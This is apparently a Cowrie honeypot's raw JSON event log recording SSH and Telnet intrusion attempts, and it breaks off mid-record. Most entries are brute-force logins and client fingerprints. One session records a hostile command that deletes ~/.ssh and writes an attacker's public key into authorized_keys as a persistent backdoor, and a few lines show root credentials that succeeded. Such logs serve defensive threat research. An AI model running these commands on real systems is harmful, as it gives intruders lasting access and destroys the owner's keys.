{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37580,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c1b0d9a15af","protocol":"ssh","message":"New connection: 92.118.39.92:37580 (10.17.0.5:22) [session: 0c1b0d9a15af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:47.285318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:47.289580Z","src_ip":"92.118.39.92","session":"0c1b0d9a15af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:47.421858Z","src_ip":"92.118.39.92","session":"0c1b0d9a15af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:47.733530Z","src_ip":"92.118.39.92","session":"0c1b0d9a15af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:48.866170Z","src_ip":"92.118.39.92","session":"0c1b0d9a15af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.245.135.249","src_port":43664,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f177b82f6e7","protocol":"telnet","message":"New connection: 117.245.135.249:43664 (10.17.0.5:23) [session: 0f177b82f6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:55.910457Z"}
{"eventid":"cowrie.session.closed","duration":14.358810901641846,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:10.269154Z","src_ip":"117.245.135.249","session":"0f177b82f6e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":48366,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aee9cc2a906","protocol":"ssh","message":"New connection: 2.57.122.210:48366 (10.17.0.5:22) [session: 3aee9cc2a906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:17.745386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:17.749973Z","src_ip":"2.57.122.210","session":"3aee9cc2a906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:17.853598Z","src_ip":"2.57.122.210","session":"3aee9cc2a906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:18.157975Z","src_ip":"2.57.122.210","session":"3aee9cc2a906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:19.259517Z","src_ip":"2.57.122.210","session":"3aee9cc2a906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":28028,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5ec2446a831","protocol":"ssh","message":"New connection: 80.66.66.10:28028 (10.17.0.5:22) [session: c5ec2446a831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:34.784875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:34.789894Z","src_ip":"80.66.66.10","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:34.899186Z","src_ip":"80.66.66.10","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:35.228037Z","src_ip":"80.66.66.10","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:35.340820Z","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:35.454978Z","src_ip":"80.66.66.10","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:57:35.566767Z","src_ip":"80.66.66.10","session":"c5ec2446a831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.207.246.197","src_port":53702,"dst_ip":"10.17.0.5","dst_port":22,"session":"707218b6239e","protocol":"ssh","message":"New connection: 114.207.246.197:53702 (10.17.0.5:22) [session: 707218b6239e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:25.115946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:25.119842Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:25.299438Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"allison","message":"login attempt [root/allison] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:26.047928Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:26.448817Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:26.452041Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:26.455503Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:26.638842Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.034096Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.036704Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.219330Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.223093Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.207.246.197","src_port":54142,"dst_ip":"10.17.0.5","dst_port":22,"session":"10ee786e30a6","protocol":"ssh","message":"New connection: 114.207.246.197:54142 (10.17.0.5:22) [session: 10ee786e30a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.395298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.399922Z","src_ip":"114.207.246.197","session":"10ee786e30a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:27.580163Z","src_ip":"114.207.246.197","session":"10ee786e30a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:28.329442Z","src_ip":"114.207.246.197","session":"10ee786e30a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:29.512887Z","src_ip":"114.207.246.197","session":"10ee786e30a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.207.246.197","src_port":54542,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9d371a2f4a0","protocol":"ssh","message":"New connection: 114.207.246.197:54542 (10.17.0.5:22) [session: d9d371a2f4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:29.690888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:29.695366Z","src_ip":"114.207.246.197","session":"d9d371a2f4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:29.879306Z","src_ip":"114.207.246.197","session":"d9d371a2f4a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:30.635880Z","src_ip":"114.207.246.197","session":"d9d371a2f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:30.819207Z","src_ip":"114.207.246.197","session":"707218b6239e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:30.823023Z","src_ip":"114.207.246.197","session":"d9d371a2f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52984,"dst_ip":"159.203.135.109","dst_port":22,"session":"a151222fde71","protocol":"ssh","message":"New connection: 2.57.122.208:52984 (159.203.135.109:22) [session: a151222fde71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:50.723475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:58:50.766147Z","src_ip":"2.57.122.208","session":"a151222fde71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@op